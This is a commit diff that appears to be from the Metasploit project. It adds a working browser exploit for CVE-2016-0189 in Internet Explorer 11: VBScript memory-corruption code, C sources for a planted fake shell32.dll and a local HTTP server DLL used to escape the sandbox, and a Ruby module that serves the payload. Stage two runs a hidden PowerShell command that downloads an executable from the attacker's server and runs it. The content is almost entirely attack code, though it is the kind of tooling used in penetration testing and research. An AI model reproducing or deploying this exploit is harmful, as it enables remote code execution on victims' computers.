add exploit for cve-2016-0189
William Webb
parent
10653fadb1
commit
21e6211e8d
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/*
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From: https://gist.github.com/worawit/1213febe36aa8331e092
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Simple local HTTP server for IE (with no AppContainer) privilege escalation.
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I implemented local server instead of proxy in Ref because
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local server is easier to code. But local server is less useful then proxy.
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Ref:
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http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
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Note:
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From my test, by default IE does not configure intranet site.
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With this default, localhost is treated as internet site (run as low integrity).
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*/
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#define _CRT_SECURE_NO_WARNINGS
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#define WIN32_LEAN_AND_MEAN
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#include <winsock2.h>
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#include <stdio.h>
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#include <string.h>
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#pragma comment(lib, "ws2_32.lib")
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#define SERVER_PORT 5555
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static HANDLE hThread = NULL;
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static WCHAR stage2file[256];
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static SOCKET serverSk = INVALID_SOCKET;
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static SOCKET peerSk = INVALID_SOCKET;
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static SOCKET create_server()
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{
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struct sockaddr_in skAddr;
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SOCKET sk;
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int optval;
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sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if (sk == INVALID_SOCKET)
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return INVALID_SOCKET;
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optval = 1;
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setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval));
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memset(&skAddr, 0, sizeof(skAddr));
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skAddr.sin_family = AF_INET;
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skAddr.sin_port = htons(SERVER_PORT);
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skAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
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if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
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goto on_error;
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if (listen(sk, 5) != 0)
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goto on_error;
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return sk;
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on_error:
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closesocket(sk);
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return SOCKET_ERROR;
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}
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static int send_all(SOCKET sk, char *buffer, int size)
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{
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int len;
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while (size > 0) {
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len = send(sk, buffer, size, 0);
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if (len <= 0)
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return 0;
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buffer += len;
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size -= len;
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}
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return 1;
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}
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static int local_server()
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{
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int len;
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int totalSize;
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char buffer[4096];
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HANDLE hFile = INVALID_HANDLE_VALUE;
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serverSk = create_server();
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if (serverSk == INVALID_SOCKET)
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return SOCKET_ERROR;
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while (1) {
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peerSk = accept(serverSk, NULL, NULL);
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if (peerSk == INVALID_SOCKET) {
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continue;
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}
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len = recv(peerSk, buffer, sizeof(buffer), 0);
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if (len <= 0)
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goto closepeer;
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hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
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if (hFile == INVALID_HANDLE_VALUE)
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break;
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totalSize = GetFileSize(hFile, NULL);
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if (totalSize == INVALID_FILE_SIZE)
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break;
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len = _snprintf(buffer, sizeof(buffer),
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"HTTP/1.1 200 OK\r\n"
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"Content-Type: text/html\r\n"
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"Connection: Close\r\n"
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"Content-Length: %d\r\n"
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"\r\n",
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totalSize
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);
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send_all(peerSk, buffer, len);
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while (totalSize > 0) {
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ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL);
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send_all(peerSk, buffer, len);
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totalSize -= len;
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}
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CloseHandle(hFile);
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hFile = INVALID_HANDLE_VALUE;
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closepeer:
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closesocket(peerSk);
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peerSk = INVALID_SOCKET;
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}
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if (hFile != INVALID_HANDLE_VALUE) {
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CloseHandle(hFile);
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}
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if (peerSk != INVALID_SOCKET) {
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closesocket(peerSk);
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peerSk = INVALID_SOCKET;
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}
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if (serverSk != INVALID_SOCKET) {
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closesocket(serverSk);
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serverSk = INVALID_SOCKET;
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}
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return 0;
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}
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DWORD WINAPI threadProc(void *param)
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{
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WSADATA wsaData;
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WSAStartup(MAKEWORD(2 ,2), &wsaData);
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local_server();
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WSACleanup();
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DeleteFile(stage2file);
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return 0;
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}
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void do_work()
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{
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GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file));
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hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
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}
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BOOL APIENTRY DllMain( HMODULE hModule,
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DWORD ul_reason_for_call,
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LPVOID lpReserved
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)
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{
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switch (ul_reason_for_call)
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{
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case DLL_PROCESS_ATTACH:
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do_work();
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break;
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case DLL_PROCESS_DETACH:
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if (hThread) {
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WaitForSingleObject(hThread, INFINITE);
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CloseHandle(hThread);
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}
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break;
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}
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return TRUE;
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}
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@ -0,0 +1,39 @@
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/*
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From: https://gist.github.com/worawit/1213febe36aa8331e092
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Fake shell32.dll to be loaded after modified %SystemRoot%
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*/
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#define WIN32_LEAN_AND_MEAN
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#include <windows.h>
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static void do_work()
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{
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WCHAR envBuffer[256];
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GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
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// restore system root
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SetEnvironmentVariableW(L"SystemRoot", envBuffer);
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//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);
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GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
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SetEnvironmentVariableW(L"MyDllPath", NULL);
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// shell32.dll will be unloaded, use another dll
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LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
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}
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BOOL APIENTRY DllMain( HMODULE hModule,
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DWORD ul_reason_for_call,
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LPVOID lpReserved
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)
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{
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switch (ul_reason_for_call)
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{
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case DLL_PROCESS_ATTACH:
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do_work();
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break;
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case DLL_PROCESS_DETACH:
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break;
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}
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return TRUE;
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}
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@ -0,0 +1,494 @@
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "template",
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'Description' => %q{
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This module exploits the memory corruption vulnerability (CVE-2016-0189)
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present in the VBScript engine of Internet Explorer 11.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Theori', # Original RE research and exploitation
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'William Webb <william_webb[at]rapid7.com>' # Metasploit module
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],
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'Platform' => 'win',
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:os_name => OperatingSystems::Match::WINDOWS,
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:ua_name => HttpClients::IE,
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:ua_ver => '11.0'
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},
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'Windows 10 with IE 11',
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{
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'os_flavor' => '10',
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'ua_name' => 'MSIE',
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'ua_ver' => '11.0'
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}
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]
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],
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'References' =>
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[
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[ 'CVE', '2016-0189' ],
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[ 'MSB', 'MS16-051' ]
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],
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'Arch' => ARCH_X86_64,
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'DefaultTarget' => 0))
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end
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def setup
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# @stage2html = Rex::Text.rand_text_alphanum(6)
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@ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri
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@localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri
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@pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html
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@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
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@payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"
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File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }
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File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }
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super
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end
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def exploit_html(req_uri)
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srvhost = datastore['SRVHOST']
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srvport = datastore['SRVPORT']
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template = <<-EOF
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<html>
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<head>
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<meta http-equiv="x-ua-compatible" content="IE=10">
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</head>
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<body>
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<script type="text/vbscript">
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Dim downloadFiles
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Dim cacheRegex
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Dim cacheFiles(3)
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Dim downloadState
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Dim pinTime
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Dim oFSO
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Dim oWS
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Dim shell
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function FindFile(path, regexFile)
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FindFile = ""
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For Each f in oFSO.GetFolder(path).Files
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If regexFile.Test(f.Name) Then
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FindFile = f.Name
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Exit For
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End If
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Next
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end function
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function SearchCache(path, regexFile)
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SearchCache = ""
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For Each fld in oFSO.GetFolder(path).SubFolders
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'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
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filename = FindFile(path & "\\" & fld.Name, regexFile)
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If filename <> "" Then
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SearchCache = path & "\\" & fld.Name & "\\" & filename
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Exit For
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End If
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'End If
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Next
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end function
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function loaddll()
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On Error Resume Next
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Set wshSystemEnv = oWS.Environment("Process")
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tmpDir = oFSO.GetSpecialFolder(2)
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tmpSysDir = tmpDir & "\\System32"
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tmpShellFile = tmpSysDir & "\\shell32.dll"
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oFSO.CreateFolder(tmpSysDir)
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oFSO.MoveFile cacheFiles(0), tmpShellFile
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mydllFile = tmpDir & "\\" & downloadFiles(1)
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oFSO.MoveFile cacheFiles(1), mydllFile
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wshSystemEnv("MyDllPath") = mydllFile
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If (UBound(downloadFiles) = 2) Then
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stage2File = tmpDir & "\\#{@pm_escape_html}.html"
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oFSO.MoveFile cacheFiles(2), stage2File
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wshSystemEnv("stage2file") = stage2File
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End If
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saveRoot = wshSystemEnv("SystemRoot")
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wshSystemEnv("SaveSystemRoot") = saveRoot
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wshSystemEnv("SystemRoot") = tmpDir
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Set shell = CreateObject("Shell.Application")
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If (UBound(downloadFiles) = 2) Then
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call tolocal()
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End If
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end function
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Sub OnDownloadDone()
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If InStr(userAgent, "NT 5.") > 0 Then
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cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
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cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE"
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Else
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cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
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cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE"
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End If
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Set regexFile = new regexp
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regexFile.Pattern = cacheRegex(downloadState)
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cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
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If cacheFiles(downloadState) = "" Then
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Exit Sub
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End If
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If downloadState = UBound(downloadFiles) Then
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loaddll()
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Else
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downloadState = downloadState + 1
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DoDownload()
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End If
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End Sub
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Sub DoDownload()
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pinTime = Now
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call getdll(downloadFiles(downloadState))
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End Sub
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Sub runshell()
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downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")
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cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$")
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Set oFSO = CreateObject("Scripting.FileSystemObject")
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Set oWS = CreateObject("WScript.Shell")
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downloadState = 0
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DoDownload()
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End Sub
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</script>
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<script type="text/vbscript">
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Dim bl
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Dim plunge(32)
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Dim y(32)
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prefix = "%u4141%u4141"
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d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
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b = String(64000, "D")
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c = d & b
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x = UnEscape(c)
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Class ArrayWrapper
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Dim A
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Private Sub Class_Initialize
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ReDim Preserve AA(1, 2000)
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A = AA
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End Sub
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Public Sub Resize()
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ReDim Preserve A(1, 1)
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End Sub
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End Class
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Class Spray
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End Class
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Function getAddr (arg1, s)
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bl = Null
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Set bl = New ArrayWrapper
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For i = 0 To 32
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Set plunge(i) = s
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Next
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Set bl.A(arg1, 2) = s
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Dim addr
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Dim i
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For i = 0 To 31
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If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
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addr = strToInt(Mid(y(i), 3 + 4, 2))
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End If
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y(i) = Null
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Next
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If addr = Null Then
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document.location.href = document.location.href
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Return
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End If
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getAddr = addr
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End Function
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Function leakMem (arg1, addr)
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d = prefix & "%u0008%u4141%u4141%u4141"
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c = d & intToStr(addr) & b
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x = UnEscape(c)
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bl = Null
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Set bl = New ArrayWrapper
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Dim o
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o = bl.A(arg1, 2)
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leakMem = o
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End Function
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Sub overwrite (arg1, addr)
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d = prefix & "%u400C%u0000%u0000%u0000"
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c = d & intToStr(addr) & b
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x = UnEscape(c)
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bl = Null
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Set bl = New ArrayWrapper
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bl.A(arg1, 2) = CSng(0)
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End Sub
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Function exploit (arg1)
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Dim addr
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Dim csession
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Dim olescript
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Dim mem
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Set sp = New Spray
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addr = getAddr(arg1, sp)
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mem = leakMem(arg1, addr + 8)
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csession = strToInt(Mid(mem, 3, 2))
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mem = leakMem(arg1, csession + 4)
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olescript = strToInt(Mid(mem, 1, 2))
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overwrite arg1, olescript + &H174
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runshell()
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End Function
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Function triggerBug
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bl.Resize()
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Dim i
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For i = 0 To 32
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y(i) = Mid(x, 1, 24000)
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Next
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End Function
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</script>
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<script type="text/javascript">
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var userAgent = navigator.userAgent;
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var oReq;
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function getdll(downloadFile)
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{
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oReq = new XMLHttpRequest();
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oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);
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oReq.onreadystatechange = handler;
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oReq.send();
|
||||
}
|
||||
function handler()
|
||||
{
|
||||
if (oReq.readyState == 4 && oReq.status == 200) {
|
||||
OnDownloadDone();
|
||||
}
|
||||
}
|
||||
function tolocal()
|
||||
{
|
||||
location.href = "http://localhost:5555/#{@pm_escape_html}.html";
|
||||
}
|
||||
function strToInt(s)
|
||||
{
|
||||
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
|
||||
}
|
||||
function intToStr(x)
|
||||
{
|
||||
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
|
||||
}
|
||||
var o;
|
||||
o = {"valueOf": function () {
|
||||
triggerBug();
|
||||
return 1;
|
||||
}};
|
||||
setTimeout(function() {exploit(o);}, 50);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
template
|
||||
end
|
||||
|
||||
def stage2_html(req_uri)
|
||||
|
||||
template = <<-EOF
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="x-ua-compatible" content="IE=10">
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/vbscript">
|
||||
Dim aw
|
||||
Dim plunge(32)
|
||||
Dim y(32)
|
||||
prefix = "%u4141%u4141"
|
||||
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
|
||||
b = String(64000, "D")
|
||||
c = d & b
|
||||
x = UnEscape(c)
|
||||
|
||||
Class ArrayWrapper
|
||||
Dim A()
|
||||
Private Sub Class_Initialize
|
||||
ReDim Preserve A(1, 2000)
|
||||
End Sub
|
||||
|
||||
Public Sub Resize()
|
||||
ReDim Preserve A(1, 1)
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
Class Dummy
|
||||
End Class
|
||||
|
||||
Function getAddr (arg1, s)
|
||||
aw = Null
|
||||
Set aw = New ArrayWrapper
|
||||
|
||||
For i = 0 To 32
|
||||
Set plunge(i) = s
|
||||
Next
|
||||
|
||||
Set aw.A(arg1, 2) = s
|
||||
|
||||
Dim addr
|
||||
Dim i
|
||||
For i = 0 To 31
|
||||
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
|
||||
addr = strToInt(Mid(y(i), 3 + 4, 2))
|
||||
End If
|
||||
y(i) = Null
|
||||
Next
|
||||
|
||||
If addr = Null Then
|
||||
document.location.href = document.location.href
|
||||
Return
|
||||
End If
|
||||
|
||||
getAddr = addr
|
||||
End Function
|
||||
|
||||
Function leakMem (arg1, addr)
|
||||
d = prefix & "%u0008%u4141%u4141%u4141"
|
||||
c = d & intToStr(addr) & b
|
||||
x = UnEscape(c)
|
||||
|
||||
aw = Null
|
||||
Set aw = New ArrayWrapper
|
||||
|
||||
Dim o
|
||||
o = aw.A(arg1, 2)
|
||||
|
||||
leakMem = o
|
||||
End Function
|
||||
|
||||
Sub overwrite (arg1, addr)
|
||||
d = prefix & "%u400C%u0000%u0000%u0000"
|
||||
c = d & intToStr(addr) & b
|
||||
x = UnEscape(c)
|
||||
|
||||
aw = Null
|
||||
Set aw = New ArrayWrapper
|
||||
aw.A(arg1, 2) = CSng(0)
|
||||
End Sub
|
||||
|
||||
Function exploit (arg1)
|
||||
Dim addr
|
||||
Dim csession
|
||||
Dim olescript
|
||||
Dim mem
|
||||
|
||||
Set dm = New Dummy
|
||||
addr = getAddr(arg1, dm)
|
||||
mem = leakMem(arg1, addr + 8)
|
||||
csession = strToInt(Mid(mem, 3, 2))
|
||||
mem = leakMem(arg1, csession + 4)
|
||||
olescript = strToInt(Mid(mem, 1, 2))
|
||||
overwrite arg1, olescript + &H174
|
||||
|
||||
Set shObj = CreateObject("Wscript.shell")
|
||||
shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
|
||||
shObj.Run("%temp%\\#{@payload_exe}")
|
||||
|
||||
End Function
|
||||
|
||||
Function triggerBug
|
||||
aw.Resize()
|
||||
|
||||
Dim i
|
||||
For i = 0 To 32
|
||||
y(i) = Mid(x, 1, 24000)
|
||||
Next
|
||||
End Function
|
||||
</script>
|
||||
|
||||
<script type="text/javascript">
|
||||
function strToInt(s)
|
||||
{
|
||||
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
|
||||
}
|
||||
function intToStr(x)
|
||||
{
|
||||
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
|
||||
}
|
||||
var o;
|
||||
o = {"valueOf": function () {
|
||||
triggerBug();
|
||||
return 1;
|
||||
}};
|
||||
setTimeout(function() {exploit(o);}, 50);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
EOF
|
||||
template
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
# used for some debugging stuff
|
||||
ies = @ieshell
|
||||
ls = @localsrv
|
||||
pm = @pm_escape_html
|
||||
|
||||
print_status("Received request: #{request.uri}")
|
||||
if request.uri =~ /.*#{ies}.*$/
|
||||
print_status("Sending stage two DLL ...")
|
||||
send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
elsif request.uri =~ /.*#{ls}.*$/
|
||||
print_status("Sending local server DLL ...")
|
||||
send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
elsif request.uri =~ /.*#{pm}.*$/
|
||||
rq = "#{get_resource.chomp('/')}"
|
||||
gm = stage2_html(rq)
|
||||
send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
elsif request.uri =~ /.*#{@payload_uri}$/
|
||||
return if ((payload = regenerate_payload(cli)) == nil)
|
||||
print_status("Sending payload ...")
|
||||
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
|
||||
else
|
||||
print_status("Sending main page ..")
|
||||
send_response(cli, exploit_html(request.uri))
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue